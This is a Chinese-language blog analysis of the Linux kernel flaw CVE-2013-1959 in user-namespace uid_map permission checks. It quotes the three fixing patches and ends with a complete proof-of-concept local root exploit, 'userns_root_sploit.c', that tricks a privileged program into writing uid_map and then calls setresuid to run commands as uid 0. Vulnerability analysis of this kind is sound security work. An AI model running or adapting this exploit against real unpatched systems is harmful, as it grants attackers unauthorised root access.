seteuid0's blog
Themed by Diary.
CVE-2013-1959内核漏洞原理与本地提权利用代码实现分析

关键字:CVE-2013-1959,cve,kernel vulnerability,内核漏洞,POC,利用代码,本地提权,exploit, analysis,user namespace,capabilities 2013年4月28日,Andy Lutomirski在oss-security披露了该cve的细节。CVE-2013-1959是当前内核稳定版本安全补丁修复所对应的一个CVE。这个CVE的原因是在user namespace中,/proc/uid_map存多个不正确的权限检查。如果启用相关的配置,Linux 3.8和很多3.9rcs将受到影响。利用者可以获取root权限。 修复这个CVE对应的有3个patch,以下先大致介绍这三个Patch所修改的内容。 Patch1:Add file_ns_capable() helper function for open-time capability checking``` From 935d8aabd4331f47a89c3e1daa5779d23cf244ee Mon Sep 17 00:00:00 2001 From: Linus Torvalds torvalds@linux-foundation.org Date: Sun, 14 Apr 2013 10:06:31 -0700 Subject: [PATCH] Add file_ns_capable() helper function for open-time capability checking

Nothing is using it yet, but this will allow us to delay the open-time checks to use time, without breaking the normal UNIX permission semantics where permissions are determined by the opener (and the file descriptor can then be passed to a different process, or the process can drop capabilities).

Signed-off-by: Linus Torvalds torvalds@linux-foundation.org

include/linux/capability.h | 2 ++ kernel/capability.c | 24 ++++++++++++++++++++++++ 2 files changed, 26 insertions(+)

diff –git a/include/linux/capability.h b/include/linux/capability.h index 98503b7..d9a4f7f4 100644 — a/include/linux/capability.h +++ b/include/linux/capability.h @@ -35,6 +35,7 @@ struct cpu_vfs_cap_data { #define _KERNEL_CAP_T_SIZE (sizeof(kernel_cap_t))

+struct file; struct inode; struct dentry; struct user_namespace; @@ -211,6 +212,7 @@ extern bool capable(int cap); extern bool ns_capable(struct user_namespace *ns, int cap); extern bool nsown_capable(int cap); extern bool inode_capable(const struct inode *inode, int cap); +extern bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap);

/* audit system wants to get cap info from files as well */ extern int get_vfs_caps_from_disk(const struct dentry *dentry, struct cpu_vfs_cap_data *cpu_caps); diff –git a/kernel/capability.c b/kernel/capability.c index 493d972..f6c2ce5 100644 — a/kernel/capability.c +++ b/kernel/capability.c @@ -393,6 +393,30 @@ bool ns_capable(struct user_namespace *ns, int cap) EXPORT_SYMBOL(ns_capable);

/**

  • * file_ns_capable - Determine if the file’s opener had a capability in effect
  • * @file: The file we want to check
  • * @ns: The usernamespace we want the capability in
  • * @cap: The capability to be tested for
  • *
  • * Return true if task that opened the file had a capability in effect
  • * when the file was opened.
  • *
  • * This does not set PF_SUPERPRIV because the caller may not
  • * actually be privileged.
  • */ +bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap) +{
  • if (WARN_ON_ONCE(!cap_valid(cap)))
  •   return false;
    
  • if (security_capable(file->f_cred, ns, cap) == 0)
  •   return true;
    
  • return false; +} +EXPORT_SYMBOL(file_ns_capable);

+/** * capable - Determine if the current task has a superior capability in effect * @cap: The capability to be tested for *

1.9.0 在这个patch中,linus实现了一个file\_ns\_capable函数,这个函数检查文件的打开者是否有权限对文件进行操作。 Patch2:userns: Check uid\_map's opener's fsuid, not the current fsuid From e3211c120a85b792978bcb4be7b2886df18d27f0 Mon Sep 17 00:00:00 2001 From: Andy Lutomirski luto@amacapital.net Date: Sun, 14 Apr 2013 16:28:19 -0700 Subject: [PATCH] userns: Check uid_map’s opener’s fsuid, not the current fsuid

Signed-off-by: Andy Lutomirski luto@amacapital.net

kernel/user_namespace.c | 4 ++– 1 file changed, 2 insertions(+), 2 deletions(-)

diff –git a/kernel/user_namespace.c b/kernel/user_namespace.c index e2d4ace..5c16f3a 100644 — a/kernel/user_namespace.c +++ b/kernel/user_namespace.c @@ -797,12 +797,12 @@ static bool new_idmap_permitted(const struct file *file, u32 id = new_map->extent[0].lower_first; if (cap_setid == CAP_SETUID) { kuid_t uid = make_kuid(ns->parent, id);

  •       if (uid\_eq(uid, current\_fsuid()))
    
  •       if (uid\_eq(uid, file->f\_cred->fsuid))
              return true;
      }
      else if (cap\_setid == CAP\_SETGID) {
          kgid\_t gid = make\_kgid(ns->parent, id);
    
  •       if (gid\_eq(gid, current\_fsgid()))
    
  •       if (gid\_eq(gid, file->f\_cred->fsgid))
              return true;
      }
    
    }
    1.9.0
    该patch检查uid\_map的打开者的fsuid,而不是当前的fsuid。 Patch3:userns: Don't let unprivileged users trick privileged users into setting the id\_map
    From 6708075f104c3c9b04b23336bb0366ca30c3931b Mon Sep 17 00:00:00 2001
    From: “Eric W. Biederman” ebiederm@xmission.com
    Date: Sun, 14 Apr 2013 13:47:02 -0700
    Subject: [PATCH] userns: Don’t let unprivileged users trick privileged users
    into setting the id_map

When we require privilege for setting /proc//uid_map or /proc//gid_map no longer allow an unprivileged user to open the file and pass it to a privileged program to write to the file.

Instead when privilege is required require both the opener and the writer to have the necessary capabilities.

I have tested this code and verified that setting /proc//uid_map fails when an unprivileged user opens the file and a privielged user attempts to set the mapping, that unprivileged users can still map their own id, and that a privileged users can still setup an arbitrary mapping.

Reported-by: Andy Lutomirski luto@amacapital.net Signed-off-by: “Eric W. Biederman” ebiederm@xmission.com Signed-off-by: Andy Lutomirski luto@amacapital.net

kernel/user_namespace.c | 12 ++++++++—- 1 file changed, 8 insertions(+), 4 deletions(-)

diff –git a/kernel/user_namespace.c b/kernel/user_namespace.c index a54f26f..e2d4ace 100644 — a/kernel/user_namespace.c +++ b/kernel/user_namespace.c @@ -25,7 +25,8 @@

static struct kmem_cache *user_ns_cachep __read_mostly;

-static bool new_idmap_permitted(struct user_namespace *ns, int cap_setid, +static bool new_idmap_permitted(const struct file *file,

  •           struct user\_namespace \*ns, int cap\_setid,
              struct uid\_gid\_map \*map);
    

static void set_cred_user_ns(struct cred *cred, struct user_namespace *user_ns) @@ -700,7 +701,7 @@ static ssize_t map_write(struct file *file, const char __user *buf,

ret = -EPERM;
/\* Validate the user is allowed to use user id's mapped to. \*/
  • if (!new_idmap_permitted(ns, cap_setid, &new_map))
  • if (!new_idmap_permitted(file, ns, cap_setid, &new_map)) goto out;

    /* Map the lower ids from the parent user namespace to the @@ -787,7 +788,8 @@ ssize_t proc_projid_map_write(struct file *file, const char __user *buf, size_t &ns->projid_map, &ns->parent->projid_map); }

-static bool new_idmap_permitted(struct user_namespace *ns, int cap_setid, +static bool new_idmap_permitted(const struct file *file,

  •           struct user\_namespace \*ns, int cap\_setid,
              struct uid\_gid\_map \*new\_map)
    

{ /* Allow mapping to your own filesystem ids */ @@ -811,8 +813,10 @@ static bool new_idmap_permitted(struct user_namespace *ns, int cap_setid,

/\* Allow the specified ids if we have the appropriate capability
 \* (CAP\_SETUID or CAP\_SETGID) over the parent user namespace.
  • * And the opener of the id file also had the approprpiate capability. */
  • if (ns_capable(ns->parent, cap_setid))
  • if (ns_capable(ns->parent, cap_setid) &&
  •   file\_ns\_capable(file, ns->parent, cap\_setid))
      return true;
    
    return false;
    1.9.0
    这个patch就是调用前面两个patch的修改内容,当对uid\_map或gid\_map文件进行写操作的时候(也就是建立kuid和uid映射的时候)增加对文件打开者的检查。   看了这三个patch以后,应该也就知道该CVE的原因了。由于对uid\_map或gid\_map的写检查缺少对打开者的检查,这样攻击者可以使用非特权用户打开uid\_map文件,然后使用特权程序对该文件进行写操作。通过这样的方式欺骗内核,用户便可以执行setuid操作进行权限提升。 下面是对应的POC代码
    /* userns_root_sploit.c by */
    /* Copyright (c) 2013 Andrew Lutomirski. All rights reserved. */
    /* You may use, modify, and redistribute this code under the GPLv2. */

#define _GNU_SOURCE #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <err.h> #include <linux/futex.h> #include <errno.h> #include <unistd.h> #include <sys/syscall.h>

#ifndef CLONE_NEWUSER #define CLONE_NEWUSER 0x10000000 #endif

pid_t parent; int *ftx;

int childfn() { int fd; char buf[128];

if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 && errno != EWOULDBLOCK) err(1, “futex”);

sprintf(buf, “/proc/%ld/uid_map”, (long)parent); fd = open(buf, O_RDWR | O_CLOEXEC); if (fd == -1) err(1, “open %s”, buf); if (dup2(fd, 1) != 1) err(1, “dup2”);

// Write something like “0 0 1” to stdout with elevated capabilities. execl("./zerozeroone", “./zerozeroone”);

return 0; }

int main(int argc, char **argv) { int dummy, status; pid_t child;

if (argc < 2) { printf(“usage: userns_root_sploit COMMAND ARGS…\n\n” “This will run a command as (global) uid 0 but no capabilities.\n”); return 1; }

ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (ftx == MAP_FAILED) err(1, “mmap”);

parent = getpid();

if (signal(SIGCHLD, SIG_DFL) != 0) err(1, “signal”);

child = fork(); if (child == -1) err(1, “fork”); if (child == 0) return childfn();

*ftx = 1; if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0) err(1, “futex”);

if (unshare(CLONE_NEWUSER) != 0) err(1, “unshare(CLONE_NEWUSER)");

if (wait(&status) != child) err(1, “wait”); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, “child failed”);

if (setresuid(0, 0, 0) != 0) err(1, “setresuid”); execvp(argv[1], argv+1); err(1, argv[1]);

return 0; }